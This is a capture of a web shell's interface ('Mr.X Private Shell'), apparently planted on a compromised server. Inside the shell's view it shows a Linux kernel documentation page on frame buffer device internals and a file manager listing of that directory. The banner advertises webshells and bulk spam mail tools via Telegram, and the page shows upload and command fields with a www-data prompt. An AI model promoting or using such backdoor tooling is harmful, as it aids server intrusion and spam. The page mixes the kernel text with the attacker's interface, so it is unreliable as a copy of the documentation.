__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.21: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>Frame Buffer device internals &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../_static/alabaster.css?v=3918102e" />
    <script src="../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../_static/doctools.js?v=9bcbadda"></script>
    <script src="../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="next" title="modedb default video mode support" href="modedb.html" />
    <link rel="prev" title="The Frame Buffer Device" href="framebuffer.html" />
   
  <link rel="stylesheet" href="../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../index.html">
              <img class="logo" src="../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/index.html">All development-process docs</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="../subsystem-apis.html">Subsystems</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#core-subsystems">Core subsystems</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="../subsystem-apis.html#human-interfaces">Human interfaces</a><ul class="current">
<li class="toctree-l3"><a class="reference internal" href="../input/index.html">Input Documentation</a></li>
<li class="toctree-l3"><a class="reference internal" href="../hid/index.html">Human Interface Devices (HID)</a></li>
<li class="toctree-l3"><a class="reference internal" href="../sound/index.html">Sound Subsystem Documentation</a></li>
<li class="toctree-l3"><a class="reference internal" href="../gpu/index.html">GPU Driver Developer’s Guide</a></li>
<li class="toctree-l3 current"><a class="reference internal" href="index.html">Frame Buffer</a></li>
<li class="toctree-l3"><a class="reference internal" href="../leds/index.html">LEDs</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#networking-interfaces">Networking interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#storage-interfaces">Storage interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#other-subsystems">Other subsystems</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../_sources/fb/internals.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="frame-buffer-device-internals">
<h1>Frame Buffer device internals<a class="headerlink" href="#frame-buffer-device-internals" title="Link to this heading">¶</a></h1>
<p>This is a first start for some documentation about frame buffer device
internals.</p>
<p>Authors:</p>
<ul class="simple">
<li><p>Geert Uytterhoeven &lt;<a class="reference external" href="mailto:geert&#37;&#52;&#48;linux-m68k&#46;org">geert<span>&#64;</span>linux-m68k<span>&#46;</span>org</a>&gt;, 21 July 1998</p></li>
<li><p>James Simmons &lt;<a class="reference external" href="mailto:jsimmons&#37;&#52;&#48;user&#46;sf&#46;net">jsimmons<span>&#64;</span>user<span>&#46;</span>sf<span>&#46;</span>net</a>&gt;, Nov 26 2002</p></li>
</ul>
<hr class="docutils" />
<section id="structures-used-by-the-frame-buffer-device-api">
<h2>Structures used by the frame buffer device API<a class="headerlink" href="#structures-used-by-the-frame-buffer-device-api" title="Link to this heading">¶</a></h2>
<p>The following structures play a role in the game of frame buffer devices. They
are defined in &lt;linux/fb.h&gt;.</p>
<ol class="arabic simple">
<li><p>Outside the kernel (user space)</p></li>
</ol>
<blockquote>
<div><ul>
<li><p><code class="xref c c-struct broken_xref docutils literal notranslate"><span class="pre">struct</span> <span class="pre">fb_fix_screeninfo</span></code></p>
<p>Device independent unchangeable information about a frame buffer device and
a specific video mode. This can be obtained using the FBIOGET_FSCREENINFO
ioctl.</p>
</li>
<li><p><code class="xref c c-struct broken_xref docutils literal notranslate"><span class="pre">struct</span> <span class="pre">fb_var_screeninfo</span></code></p>
<p>Device independent changeable information about a frame buffer device and a
specific video mode. This can be obtained using the FBIOGET_VSCREENINFO
ioctl, and updated with the FBIOPUT_VSCREENINFO ioctl. If you want to pan
the screen only, you can use the FBIOPAN_DISPLAY ioctl.</p>
</li>
<li><p><code class="xref c c-struct broken_xref docutils literal notranslate"><span class="pre">struct</span> <span class="pre">fb_cmap</span></code></p>
<p>Device independent colormap information. You can get and set the colormap
using the FBIOGETCMAP and FBIOPUTCMAP ioctls.</p>
</li>
</ul>
</div></blockquote>
<ol class="arabic simple" start="2">
<li><p>Inside the kernel</p></li>
</ol>
<blockquote>
<div><ul>
<li><p><code class="xref c c-struct broken_xref docutils literal notranslate"><span class="pre">struct</span> <span class="pre">fb_info</span></code></p>
<p>Generic information, API and low level information about a specific frame
buffer device instance (slot number, board address, ...).</p>
</li>
<li><p>struct <cite>par</cite></p>
<p>Device dependent information that uniquely defines the video mode for this
particular piece of hardware.</p>
</li>
</ul>
</div></blockquote>
</section>
<section id="visuals-used-by-the-frame-buffer-device-api">
<h2>Visuals used by the frame buffer device API<a class="headerlink" href="#visuals-used-by-the-frame-buffer-device-api" title="Link to this heading">¶</a></h2>
<section id="monochrome-fb-visual-mono01-and-fb-visual-mono10">
<h3>Monochrome (FB_VISUAL_MONO01 and FB_VISUAL_MONO10)<a class="headerlink" href="#monochrome-fb-visual-mono01-and-fb-visual-mono10" title="Link to this heading">¶</a></h3>
<p>Each pixel is either black or white.</p>
</section>
<section id="pseudo-color-fb-visual-pseudocolor-and-fb-visual-static-pseudocolor">
<h3>Pseudo color (FB_VISUAL_PSEUDOCOLOR and FB_VISUAL_STATIC_PSEUDOCOLOR)<a class="headerlink" href="#pseudo-color-fb-visual-pseudocolor-and-fb-visual-static-pseudocolor" title="Link to this heading">¶</a></h3>
<p>The whole pixel value is fed through a programmable lookup table that has one
color (including red, green, and blue intensities) for each possible pixel
value, and that color is displayed.</p>
</section>
<section id="true-color-fb-visual-truecolor">
<h3>True color (FB_VISUAL_TRUECOLOR)<a class="headerlink" href="#true-color-fb-visual-truecolor" title="Link to this heading">¶</a></h3>
<p>The pixel value is broken up into red, green, and blue fields.</p>
</section>
<section id="direct-color-fb-visual-directcolor">
<h3>Direct color (FB_VISUAL_DIRECTCOLOR)<a class="headerlink" href="#direct-color-fb-visual-directcolor" title="Link to this heading">¶</a></h3>
<p>The pixel value is broken up into red, green, and blue fields, each of which
are looked up in separate red, green, and blue lookup tables.</p>
</section>
<section id="grayscale-displays">
<h3>Grayscale displays<a class="headerlink" href="#grayscale-displays" title="Link to this heading">¶</a></h3>
<p>Grayscale and static grayscale are special variants of pseudo color and static
pseudo color, where the red, green and blue components are always equal to
each other.</p>
</section>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../_sources/fb/internals.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
api.html File 23.01 KB 0644
arkfb.html File 11.06 KB 0644
aty128fb.html File 11.54 KB 0644
cirrusfb.html File 11.75 KB 0644
cmap_xfbdev.html File 10.27 KB 0644
deferred_io.html File 11.92 KB 0644
efifb.html File 10.86 KB 0644
ep93xx-fb.html File 14.3 KB 0644
fbcon.html File 24.11 KB 0644
framebuffer.html File 26.03 KB 0644
gxfb.html File 10.27 KB 0644
index.html File 12.15 KB 0644
intel810.html File 19.89 KB 0644
internals.html File 12.56 KB 0644
lxfb.html File 10.28 KB 0644
matroxfb.html File 34.66 KB 0644
metronomefb.html File 10.01 KB 0644
modedb.html File 17.81 KB 0644
pvr2fb.html File 11.46 KB 0644
pxafb.html File 14.45 KB 0644
s3fb.html File 11.75 KB 0644
sa1100fb.html File 10.28 KB 0644
sh7760fb.html File 13.23 KB 0644
sisfb.html File 16.42 KB 0644
sm501.html File 8.39 KB 0644
sm712fb.html File 9.67 KB 0644
sstfb.html File 17.81 KB 0644
tgafb.html File 11.03 KB 0644
tridentfb.html File 11.78 KB 0644
udlfb.html File 16.75 KB 0644
uvesafb.html File 17.17 KB 0644
vesafb.html File 17.54 KB 0644
viafb.html File 52.91 KB 0644
vt8623fb.html File 10.81 KB 0644
Filemanager